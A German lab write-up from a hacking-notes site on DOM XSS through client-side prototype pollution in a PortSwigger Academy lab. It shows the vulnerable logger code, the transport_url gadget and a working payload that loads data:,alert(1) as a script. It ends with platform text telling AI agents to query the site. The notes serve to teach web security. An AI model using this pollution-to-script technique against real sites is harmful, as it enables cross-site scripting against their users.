> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/web/prototype-pollution/dom-xss-via-client-side-prototype-pollution.md).

# DOM-XSS über clientseitige Prototype Pollution

Notizen zu DOM-XSS über clientseitige Prototype Pollution für die Labs der PortSwigger Web Security Academy, einschließlich Ausnutzungsablauf, Payload-Tests, Burp-Suite-Validierung und Behebungskontext.

#### DOM-XSS durch clientseitige Prototypenvergiftung

#### Laborkontext

Die Anwendung ist anfällig für eine **XSS im DOM** ausgelöst durch eine **Prototypenvergiftung** (clientseitig). / Zweck: **verunreinigen `Object.prototype`** mit einer nützlichen Eigenschaft, finde ein **Gadget** im JS, das es verarbeitet, und führe dann `alert()`.

### 1) Beobachtung der Vergiftung des Prototyps

#### Quelle der Vergiftung (in der URL)

Eigenschaften können injiziert werden in `__proto__` über die Parameter:

<pre class="language-javascript"><code class="lang-javascript"><strong>/?__proto__[foo]=bar
</strong></code></pre>

#### Kontrolle in der Konsole

Nach der Navigation wird geprüft, dass die Eigenschaft "fail" in allen Objekten vorhanden ist:

```javascript
console.log({}.foo)
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-81d7876405ff22d7fd5b6f0eb2c6767ee75aecad%2Fimage%20(128).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

### 2) Clientseitiger verwundbarer Code

Die Website enthält eine Logik von

```javascript
async function logQuery(url, params) {
    try {
        await fetch(url, {method: "post", keepalive: true, body: JSON.stringify(params)});
    } catch(e) {
        console.error("Failed storing query");
    }
}

async function searchLogger() {
    let config = {params: deparam(new URL(location).searchParams.toString())};

    if(config.transport_url) {
        let script = document.createElement('script');
        script.src = config.transport_url;
        document.body.appendChild(script);
    }

    if(config.params && config.params.search) {
        await logQuery('/logger', config.params);
    }
}

window.addEventListener("load", searchLogger);
```

Wichtiger Punkt: Der Code liest **`config.transport_url`** und verwendet es als **Quelle einer `<script>`**.

### 3) Identifiziertes ausnutzbares Gadget

#### Gadget

* `config.transport_url`

#### Warum das gefährlich ist

Wenn `transport_url` existiert (sogar über den Prototypen), macht das Skript Folgendes:

* erstelle eine `<script>`
* `script.src = config.transport_url`
* Integration in das DOM

So können wir den Browser dazu zwingen, ein Skript von einer kontrollierten URL zu laden.

### 4) Ausführung: Den XSS auslösen

#### Payload (Vergiftung + Ausführung)

`Object.prototype.transport_url` wird mit einer `data:` URL vergiftet, die `alert(1)`:

```javascript
?__proto__[transport_url]=data:,alert(1)
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8efed16ffcef8dfb72a1e07932abdbe225ba954b%2Fimage%20(115).png?alt=media" alt=""><figcaption></figcaption></figure>

#### DOM-Nebeneffekt

Der Code erzeugt letztlich etwas, das dem hier entspricht:

```javascript
<script src="data:,alert(1)"></script>
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/de/web/prototype-pollution/dom-xss-via-client-side-prototype-pollution.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
